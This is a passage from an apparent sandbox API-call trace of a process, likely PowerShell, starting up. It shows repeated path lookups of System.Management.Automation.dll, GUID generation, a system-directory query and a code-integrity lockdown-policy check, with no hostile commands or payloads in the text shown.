lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d3a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.086] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x7ae0584a, Data2=0x4747, Data3=0x472a, Data4=([0]=0x8a, [1]=0xb2, [2]=0x8b, [3]=0xc1, [4]=0x37, [5]=0x75, [6]=0xaa, [7]=0x95))) returned 0x0 [0095.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.086] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.087] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.087] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.087] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.087] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.087] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.087] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.087] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.087] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.092] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xc279977b, Data2=0x7395, Data3=0x44cb, Data4=([0]=0xb1, [1]=0x56, [2]=0x5f, [3]=0xdf, [4]=0x72, [5]=0xef, [6]=0x5f, [7]=0x13))) returned 0x0 [0095.092] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.092] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.093] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x23c8211, Data2=0xd629, Data3=0x4282, Data4=([0]=0xb8, [1]=0xb6, [2]=0xf4, [3]=0xca, [4]=0xf7, [5]=0x41, [6]=0xd4, [7]=0x1b))) returned 0x0 [0095.094] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.094] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.094] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.097] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.097] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0x6176b914, Data2=0x5ea3, Data3=0x4fa6, Data4=([0]=0x9d, [1]=0x1d, [2]=0xee, [3]=0x24, [4]=0x1d, [5]=0xc3, [6]=0xa8, [7]=0x4c))) returned 0x0 [0095.097] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.097] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.097] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.098] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.098] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.098] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.098] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.098] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.098] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.098] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d764, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.099] CoCreateGuid (in: pguid=0x427e150 | out: pguid=0x427e150*(Data1=0xcf3a3df2, Data2=0x833c, Data3=0x4929, Data4=([0]=0xbe, [1]=0x22, [2]=0x23, [3]=0x96, [4]=0x46, [5]=0x1, [6]=0xd8, [7]=0xce))) returned 0x0 [0095.099] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.099] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d804, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.099] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.099] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d994, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.099] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.099] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.100] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x427d8f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0095.100] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x427dd24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0095.100] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0095.100] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0095.100] CoTaskMemFree (pv=0x42c9ac0) [0095.100] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427dbf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0095.100] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dc74, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0095.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e0d4) returned 1 [0095.100] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e150 | out: lpFileInformation=0x427e150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0095.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e0d0) returned 1 [0095.101] WldpGetLockdownPolicy () returned 0x0 [0095.101] GetSystemInfo (in: lpSystemInfo=0x427e17c | out: lpSystemInfo=0x427e17c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, 